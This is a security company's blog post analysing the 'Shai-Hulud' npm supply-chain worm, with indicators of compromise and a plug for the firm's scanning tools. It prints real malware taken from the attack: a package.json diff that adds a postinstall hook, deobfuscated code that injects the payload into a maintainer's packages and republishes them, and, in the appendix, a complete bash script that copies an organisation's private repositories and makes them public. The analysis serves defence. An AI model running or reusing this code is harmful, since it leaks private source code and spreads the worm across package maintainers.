npm Supply Chain Attack Exposes Private Repositories, AWS Credentials and More

SafeDep Team10 min read

TL;DR

npm supply chain attacks continue. This time targeting @ctrl/tinycolor and multiple other npm packages with credential stealer malware. In this blog, we will analyze the attack and its impact on the npm ecosystem. We will also look at common attack patterns that are being used to target maintainers.

Update: Along with packages already mentioned, these new packages are discovered to be affected with same attack pattern.

Lately we have observed multiple high-profile software supply chain attacks against the npm ecosystem:

These attacks target packages collectively with over 2 BILLION weekly downloads. While the payloads used in these attacks have questionable sophistication levels, the continued success of malicious actors in breaching highly popular open source packages exposes risks in the open source software supply chain, especially for software development teams shipping professional software.

There are, however, common patterns that are observed in these attacks:

  1. 2FA phishing attacks against maintainers as we saw in the eslint-config-prettier incident
  2. Maintainers of dormant packages are being targeted as we saw in the ansi-style incident and today’s incident as well.

For example, @ctrl/tinycolor did not have a release since over a year.

Summary of Malicious Payload

Credential Harvesting:

  • Generates GitHub authentication tokens using gh auth token command
  • Harvests AWS credentials from environment variables, configuration files, Web Identity Tokens, and EC2 Instance Metadata Service (IMDS)
  • Uses TruffleHog to scan the local filesystem for secrets and credentials
  • Exfiltrates all discovered credentials to an attacker-controlled webhook.site URL

Repository Compromise:

  • Injects malicious GitHub Action workflows into all repositories accessible to the compromised user
  • Copies private repositories and makes them public with the description Shai-Hulud Migration
  • Removes .github/workflows directories during the migration process to avoid detection

Self-Propagating Worm Behavior:

  • Extracts npm authentication tokens from .npmrc files
  • Identifies npm packages where the compromised user has maintainer access
  • Downloads package tarballs, injects the malicious bundle.js payload, and adds postinstall scripts
  • Automatically publishes new malicious versions of packages to npm registry
  • Increments package version numbers to ensure the malicious versions are treated as updates

How SafeDep can help?

Protect GitHub Repositories

To protect the developer community against malicious packages that are flagged by SafeDep, we built free to use SafeDep GitHub App(opens in new tab). It can be installed with zero configuration and will scan every pull request for malicious packages.

Install SafeDep GitHub App

Protect Developer Environments

SafeDep open source tools especially vet(opens in new tab) and pmg(opens in new tab) can help protect developers from malicious packages and other open source software supply chain attacks.

The Attack

The following is the list of affected package versions as published by Socket Security(opens in new tab):

Technical Analysis

We will use @ctrl/deluge@7.2.2(opens in new tab) as the malicious sample for our analysis. SafeDep’s automated malicious package analysis engine flagged this version based on post-install script and signature match(opens in new tab).

We compared version 7.2.0 and 7.2.2 to identify the malicious changes. The obvious difference was the size of the package.

deluge-7.2.0.tgz and deluge-7.2.2.tgz
❯ du -sh *
 12K    deluge-7.2.0.tgz
2.0M    deluge-7.2.2.tgz

Subsequently, we looked at package.json changes and observed a newly introduced postinstall script in the malicious version.

Diff of package.json
❯ diff -u package-7.2.0/package.json package-7.2.2/package.json
--- package-7.2.0/package.json  1985-10-26 13:45:00
+++ package-7.2.2/package.json  2025-09-16 01:43:28
@@ -1,6 +1,6 @@
 {
   "name": "@ctrl/deluge",
-  "version": "7.2.0",
+  "version": "7.2.2",
   "description": "TypeScript api wrapper for deluge using got",
   "author": "Scott Cooper <scttcper@gmail.com>",
   "license": "MIT",
@@ -25,7 +25,8 @@
     "build:docs": "typedoc",
     "test": "vitest run",
     "test:watch": "vitest",
-    "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"
+    "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",
+    "postinstall": "node bundle.js"
   },
   "dependencies": {
     "@ctrl/magnet-link": "^4.0.2",
@@ -83,4 +84,4 @@
     "importOrderSeparation": true,
     "importOrderSortSpecifiers": false
   }
-}
+}

Looking at some of the strings in bundle.js, it appears to be packed with webpack(opens in new tab).

/*! For license information please see bundle.js.LICENSE.txt */
import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307
,308])

Payload

Observed malicious payload in bundle.js:

  • Generates a GitHub auth token using gh auth token with the current user’s credentials
  • Contains an embedded bash script that injects a malicious GitHub Action workflow into all repositories of the authenticated user
  • Contains an embedded bash script that copies private repositories using the compromised GitHub token and makes them public with the description Shai-Hulud Migration
  • Uses Trufflehog(opens in new tab) to mine secrets from the local filesystem and exfiltrate them to an attacker-controlled webhook.site URL
  • Harvests AWS credentials from environment variables, local configuration files, Web Identity Tokens, and the IMDS(opens in new tab) endpoint

Self-replicating worm like behavior

The bundle.js payload has self-replicating worm-like behavior to infect npm packages that are accessible to the authenticated user. To achieve this, the payload does the following:

  • Finds the infected user’s npm token from the .npmrc file
  • Calls https://registry.npmjs.org/-/whoami to validate the token and retrieve the username
  • Searches for packages that are accessible to the authenticated user as a maintainer
  • Downloads the package tarball, injects the bundle.js payload, and adds a postinstall script to package.json
  • Publishes the package to the authenticated user’s npm registry using the npm publish ... command

Example code:

Search npm Packages
async searchPackages(t, r = 20) {
    const n = `/-/v1/search?text=${encodeURIComponent(t)}&size=${r}`,
        F = `${this.baseUrl}${n}`;
    try {
        const t = await fetch(F, {
            method: "GET",
            headers: this.getHeaders(!1)
        });
        if (!t.ok) throw new Error(`HTTP ${t.status}: ${t.statusText}`);
        return (await t.json()).objects || []
    } catch (t) {
        return console.error("Error searching packages:", t), []
    }
}

Update Package to inject bundle.js and modify package.json

async updatePackage(t) {
  try {
      // [...]
      const ie = await fetch(t.tarballUrl, {
          method: "GET",
          headers: {
              "User-Agent": this.userAgent,
              Accept: "*/*",
              "Accept-Encoding": "gzip, deflate, br"
          }
      });
      // [...]
      try {
          await re.promises.writeFile(ce, se), await te(`gzip -d -c ${ce} > ${le}`), await te(`tar -xf ${le} -C ${ae} package/package.json`);
          const t = ne.join(ae, "package", "package.json"),
              r = await re.promises.readFile(t, "utf-8"),
              n = JSON.parse(r);
          if (n.version) {
              const t = n.version.split(".");
              if (3 === t.length) {
                  const r = parseInt(t[0]),
                      F = parseInt(t[1]),
                      te = parseInt(t[2]);
                  isNaN(te) || (n.version = `${r}.${F}.${te+1}`)
              }
          }
          n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(`tar -uf ${le} -C ${ae}   package/package.json`);
          const F = process.argv[1];
          if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) {
              const t = ne.join(ae, "package", "bundle.js"),
                  r = await re.promises.readFile(F);
              await re.promises.writeFile(t, r), await te(`tar -uf ${le} -C ${ae} package/bundle.js`)
          }
          await te(`gzip -c ${le} > ${ue}`), await te(`npm publish ${ue}`), await re.promises.rm(ae, {
              recursive: !0,
              force: !0
          })
      } catch (t) {
          // [...]
      }
  } catch (t) {
      throw new Error(`Failed to update package: ${t}`)
  }
}

Impact

At the time of writing, at least 650+ repositories appear to be affected by this attack, as observed in a GitHub search(opens in new tab).

Indicators of Compromise (IOC)

  • bundle.js SHA2 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
  • GitHub repositories with description Shai-Hulud Migration example(opens in new tab)
  • HTTP requests to hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Appendix

Manually formatted shell script from bundle.js that exfiltrates private repositories using a compromised GitHub token and makes them public with the description Shai-Hulud Migration:

migrate_script.sh
#!/bin/bash

#-----------------------------------------------------------------------
# This script is designed to migrate all private and internal GitHub
# repositories from a source organization to a target user's account.
#
# It performs the following actions:
#   1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.
#   2. For each repository, it creates a new private repository under the TARGET_USER.
#   3. It then mirrors the original repository to the new one.
#   4. Crucially, it removes the .github/workflows directory during migration.
#   5. After a successful migration, it makes the new repository PUBLIC.
#
# Usage:
#   ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>
#
# Arguments:
#   SOURCE_ORG: The name of the GitHub organization to migrate from.
#   TARGET_USER: The GitHub username to migrate the repositories to.
#   GITHUB_TOKEN: A personal access token with 'repo' scope.
#-----------------------------------------------------------------------

SOURCE_ORG=""
TARGET_USER=""
GITHUB_TOKEN=""
PER_PAGE=100
TEMP_DIR=""

# --- Argument Validation ---
if [[ $# -lt 3 ]]; then
    echo "Error: Missing arguments."
    echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>"
    exit 1
fi

SOURCE_ORG="$1"
TARGET_USER="$2"
GITHUB_TOKEN="$3"

if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then
    echo "Error: All three arguments are required."
    exit 1
fi

# Create a temporary directory for cloning repositories
TEMP_DIR="./temp$TARGET_USER"
mkdir -p "$TEMP_DIR"
TEMP_DIR=$(realpath "$TEMP_DIR")

# --- Function to make authenticated GitHub API calls ---
github_api() {
    local endpoint="$1"
    local method="${2:-GET}"
    local data="${3:-}"

    local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")

    if [[ "$method" != "GET" ]]; then
        curl_args+=("-X" "$method")
    fi

    if [[ -n "$data" ]]; then
        curl_args+=("-H" "Content-Type: application/json" "-d" "$data")
    fi

    curl "${curl_args[@]}" "https://api.github.com$endpoint"
}

# --- Function to retrieve all repositories from an organization ---
get_all_repos() {
    local org="$1"
    local page=1
    local all_slugs="[]"

    while true; do
        local response
        response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")

        local http_code="${response: -3}"
        local body="${response%???}"

        if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then
            return 1
        fi

        local repos_count
        repos_count=$(echo "$body" | jq length)

        if [[ "$repos_count" -eq 0 ]]; then
            break
        fi

        local page_slugs
        page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]')
        all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add')
        ((page++))
    done

    echo "$all_slugs"
}

# --- Function to create a new repository for the target user ---
create_repo() {
    local repo_name="$1"
    local repo_data
    repo_data=$(cat <<EOF
{
    "name": "$repo_name",
    "description": "Shai-Hulud Migration",
    "private": true,
    "has_issues": false,
    "has_projects": false,
    "has_wiki": false
}
EOF
    )

    local response
    response=$(github_api "/user/repos" "POST" "$repo_data")

    local http_code="${response: -3}"
    local body="${response%???}"

    if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
        return 0
    else
        # Handle secondary rate limits by sleeping
        if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then
            sleep 600
            response=$(github_api "/user/repos" "POST" "$repo_data")
            http_code="${response: -3}"
            body="${response%???}"
            if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
                return 0
            fi
        fi
        return 1
    fi
}

# --- Function to make a repository public ---
make_repo_public() {
    local repo_name="$1"
    local repo_data
    repo_data=$(cat <<EOF
{
    "private": false
}
EOF
    )

    local response
    response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data")
    local http_code="${response: -3}"
    local body="${response%???}"

    if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then
        return 0
    else
        return 1
    fi
}

# --- Function to migrate a repository using git mirror ---
migrate_repo() {
    local source_clone_url="$1"
    local target_clone_url="$2"
    local migration_name="$3"
    local repo_dir="$TEMP_DIR"

    if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then
        return 1
    fi

    cd "$repo_dir/$migration_name"
    if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then
        cd - >/dev/null
        return 1
    fi

    # Temporarily convert to a regular repo to remove workflows
    git config --unset core.bare
    git reset --hard

    # Remove workflows directory and commit the change
    if [[ -d ".github/workflows" ]]; then
        rm -rf .github/workflows
        git add -A
        git commit -m "Remove GitHub workflows directory"
    fi

    # Convert back to a bare repo for mirroring
    git config core.bare true
    rm -rf *

    if ! git push --mirror 2>/dev/null; then
        cd - >/dev/null
        return 1
    fi

    cd - >/dev/null
    rm -rf "$repo_dir/$migration_name"
    return 0
}

# --- Function to process the list of repositories ---
process_repositories() {
    local repos="$1"
    local total_repos
    total_repos=$(echo "$repos" | jq length)

    if [[ "$total_repos" -eq 0 ]]; then
        return 0
    fi

    local success_count=0
    local failure_count=0

    for i in $(seq 0 $((total_repos - 1))); do
        local repo
        repo=$(echo "$repos" | jq -r ".[$i]")
        local migration_name="${repo//\//-}-migration"

        local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
        local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"

        echo "Migrating $repo to $TARGET_USER/$migration_name..."

        if create_repo "$migration_name"; then
            if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then
                if make_repo_public "$migration_name"; then
                    echo "  -> Success: Migrated and made public."
                    ((success_count++))
                else
                    # Still counts as a success if migration worked but public toggle failed
                    echo "  -> Warning: Migrated but failed to make public."
                    ((success_count++))
                fi
            else
                echo "  -> Error: Migration failed."
                ((failure_count++))
            fi
        else
            echo "  -> Error: Could not create target repository."
            ((failure_count++))
        fi
    done

    echo "-------------------------------------"
    echo "Migration Complete."
    echo "Successful: $success_count"
    echo "Failed:     $failure_count"
    echo "-------------------------------------"

    return $failure_count
}

# --- Main execution block ---
main() {
    # Check for required command-line tools
    for tool in curl jq git; do
        if ! command -v "$tool" &> /dev/null; then
            echo "Error: Required tool '$tool' is not installed."
            exit 1
        fi
    done

    echo "Fetching repositories from $SOURCE_ORG..."
    local repos
    if ! repos=$(get_all_repos "$SOURCE_ORG"); then
        echo "Error: Failed to fetch repositories from $SOURCE_ORG."
        exit 1
    fi

    process_repositories "$repos"
}

# Run main function with provided arguments
main "$@"
  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.